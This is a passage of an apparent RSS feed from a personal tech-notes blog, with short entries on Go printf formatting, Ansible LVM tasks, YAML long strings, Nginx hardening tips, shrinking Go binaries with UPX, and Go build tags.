&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%-10d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%010d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0000001691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-string-format-width">Go string format width&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">w&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;falcon&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">h&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">455.67&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%s\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">w&lt;/span>) &lt;span style="color:#75715e">// falcon&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10s\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">w&lt;/span>) &lt;span style="color:#75715e">// falcon&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>). &lt;span style="color:#75715e">// 122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%7d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>) &lt;span style="color:#75715e">// 122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%07d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>) &lt;span style="color:#75715e">// 0000122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%11f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%12f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>LVM - lvg and lvol</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220905-system-lvm/</link><pubDate>Mon, 05 Sep 2022 15:32:05 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220905-system-lvm/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/system/lvm/" target="_blank" rel="noopener">LVM - lvg and lvol&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="volume-group">volume group&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">在 /dev/sda1 跟 /dev/sdb1 之上建立 volume group，其 extend size 設置為 32MB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvg&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#ae81ff">vg.services&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pvs&lt;/span>: &lt;span style="color:#ae81ff">/dev/sda1,/dev/sdb1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pesize&lt;/span>: &lt;span style="color:#ae81ff">32&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="local-volume">local volume&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">建立一個大小為 512m 的 local volume&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvol&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#ae81ff">firefly&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">lv&lt;/span>: &lt;span style="color:#ae81ff">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">size&lt;/span>: &lt;span style="color:#ae81ff">512&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="example">Example&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create LVM for DRBD&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">become&lt;/span>: &lt;span style="color:#66d9ef">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg_name&lt;/span>: &lt;span style="color:#ae81ff">drbdpool&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a new primary partition for LVM&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.parted&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">device&lt;/span>: &lt;span style="color:#ae81ff">/dev/sdb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">number&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">align&lt;/span>: &lt;span style="color:#ae81ff">optimal&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">flags&lt;/span>: [&lt;span style="color:#ae81ff">lvm]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">state&lt;/span>: &lt;span style="color:#ae81ff">present&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a volume group on top of /dev/sda1 with physical extent size = 32MB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvg&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ vg_name }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pvs&lt;/span>: &lt;span style="color:#ae81ff">/dev/sdb1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">state&lt;/span>: &lt;span style="color:#ae81ff">present&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a logical volume&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvol&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ vg_name }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">lv&lt;/span>: &lt;span style="color:#ae81ff">drbddata&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">size&lt;/span>: &lt;span style="color:#ae81ff">100&lt;/span>&lt;span style="color:#ae81ff">%FREE&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>What to Do With Long Strings in YAML?</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220829-long-string-in-yaml/</link><pubDate>Mon, 29 Aug 2022 15:01:40 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220829-long-string-in-yaml/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/long-string-in-yaml/" target="_blank" rel="noopener">What to Do With Long Strings in YAML?&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>YAML already defines this. In this case, there are four methods:&lt;/p>
&lt;ul>
&lt;li>&lt;code>|&lt;/code>: Newlines under it are preserved as newlines, and the last line ends with a newline.&lt;/li>
&lt;li>&lt;code>&amp;gt;&lt;/code>: Newlines under it are folded into spaces, forming a long string, and the last line ends with a newline.&lt;/li>
&lt;li>&lt;code>|-&lt;/code>: Newlines under it are preserved, but the last line does not end with a newline.&lt;/li>
&lt;li>&lt;code>&amp;gt;-&lt;/code>: Newlines under it are folded into spaces, and the last line does not end with a newline.&lt;/li>
&lt;/ul>
&lt;p>In short, &lt;code>&amp;gt;&lt;/code> and &lt;code>&amp;gt;-&lt;/code> improve YAML readability without adding extra newline characters. &lt;code>|&lt;/code> and &lt;code>|-&lt;/code> keep the string exactly as defined: if you see a newline in YAML, the string contains a newline.&lt;/p></description></item><item><title>Top 25 Nginx Tips and Tricks From Practical Experience</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220810-top-25-nginx-tips-and-tricks-from-practical-experience/</link><pubDate>Wed, 10 Aug 2022 12:27:28 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220810-top-25-nginx-tips-and-tricks-from-practical-experience/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://hackernoon.com/top-25-nginx-tips-and-tricks-from-practical-experience" target="_blank" rel="noopener">Top 25 Nginx Tips and Tricks From Practical Experience&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>server_tokens off;&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>ssl_protocols TLSv1.2 TLSv1.3;&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Disable any undesirable HTTP methods&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">limit_except&lt;/span> &lt;span style="color:#e6db74">GET&lt;/span> &lt;span style="color:#e6db74">HEAD&lt;/span> &lt;span style="color:#e6db74">POST&lt;/span> { &lt;span style="color:#f92672">deny&lt;/span> &lt;span style="color:#e6db74">all&lt;/span>; }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Enable sysctl based protection&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>net.ipv4.conf.all.rp_filter &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>net.ipv4.tcp_syncookies &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Stop image hotlinking&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">/images/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">valid_referers&lt;/span> &lt;span style="color:#e6db74">none&lt;/span> &lt;span style="color:#e6db74">blocked&lt;/span> &lt;span style="color:#e6db74">www.domain.com&lt;/span> &lt;span style="color:#e6db74">domain.com&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">if&lt;/span> &lt;span style="color:#e6db74">(&lt;/span>$invalid_referer&lt;span style="color:#e6db74">)&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">403&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>add_header X-Content-Type-Options nosniff;&lt;/code>&lt;/li>
&lt;li>&lt;code>add_header X-XSS-Protection &amp;quot;1; mode=block&amp;quot;;&lt;/code>&lt;/li>
&lt;li>&lt;code>add_header Strict-Transport-Security &amp;quot;max-age=31536000; includeSubDomains; preload&amp;quot; always;&lt;/code>&lt;/li>
&lt;li>&lt;/li>
&lt;/ul></description></item><item><title>Build a Lightweight Docker Image for Your Go App? | IT Man</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220725-build-lightweight-docker-image-for-go-app/</link><pubDate>Mon, 25 Jul 2022 17:33:47 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220725-build-lightweight-docker-image-for-go-app/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://iter01.com/605065.html" target="_blank" rel="noopener">Build a Lightweight Docker Image for Your Go App? | IT Man&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="go-build">go build&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># default&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build -o test1 main.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>14M test1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># You can add `-ldflags &amp;#34;-s -w&amp;#34;` during compilation to reduce the binary size by stripping some link and debug info. Details:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -a: force rebuilding all dependencies&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -s: drop symbol table info; stack traces in panic will lose file/line info&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -w: drop DWARF debug info; you cannot debug with gdb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># If you don&amp;#39;t need the symbol table, you can just use &amp;#34;-s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Note: it is not recommended to use -w and -s together&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build -ldflags &lt;span style="color:#e6db74">&amp;#34;-s -w&amp;#34;&lt;/span> -o test2 main.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>11M test2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="upxbrewyum-install-upx">upx(&lt;code>brew/yum install upx&lt;/code>)&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ upx test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Ultimate Packer &lt;span style="color:#66d9ef">for&lt;/span> eXecutables
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Copyright &lt;span style="color:#f92672">(&lt;/span>C&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1996&lt;/span> - &lt;span style="color:#ae81ff">2020&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>UPX 3.96 Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser Jan 23rd &lt;span style="color:#ae81ff">2020&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File size Ratio Format Name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -------------------- ------ ----------- -----------
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">11490768&lt;/span> -&amp;gt; &lt;span style="color:#ae81ff">4063248&lt;/span> 35.36% macho/amd64 test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Packed &lt;span style="color:#ae81ff">1&lt;/span> file.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ upx --brute test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>4.6M test2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>UPX compression options&lt;/p></description></item><item><title>[Golang] Use build tags for different build configs</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220718-go-build-config-ldflags/</link><pubDate>Mon, 18 Jul 2022 14:21:34 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220718-go-build-config-ldflags/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.evanlin.com/go-build-config-ldflags/" target="_blank" rel="noopener">[Golang] Use build tags for different build configs&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="go-build--ldflags">Go build -ldflags&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">flagString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;This build with ldflag:&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">flagString&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go build -ldflags &lt;span style="color:#e6db74">&amp;#39;-X main.flagString &amp;#34;test&amp;#34;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build with ldflag: test
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="go-build--tags">Go build -tags&lt;/h5>
&lt;h6 id="debug_configgo">debug_config.go&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//+build debug&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;test debug&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString2&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34; and it will run every module with debug tag.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">GetConfigString&lt;/span>() &lt;span style="color:#66d9ef">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;it is debug.....&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;div class="alert warning">
&lt;span>&lt;i data-feather="alert-triangle">&lt;/i>&lt;/span>
&lt;span>&lt;strong>&lt;code>//+build debug&lt;/code> needs a blank line before and after it (unless it is on the first line).&lt;/strong>&lt;/span>
&lt;/div>
&lt;h6 id="release_configgo">release_config.go&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//+build !debug&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;test release&amp;#34;&lt;/span>
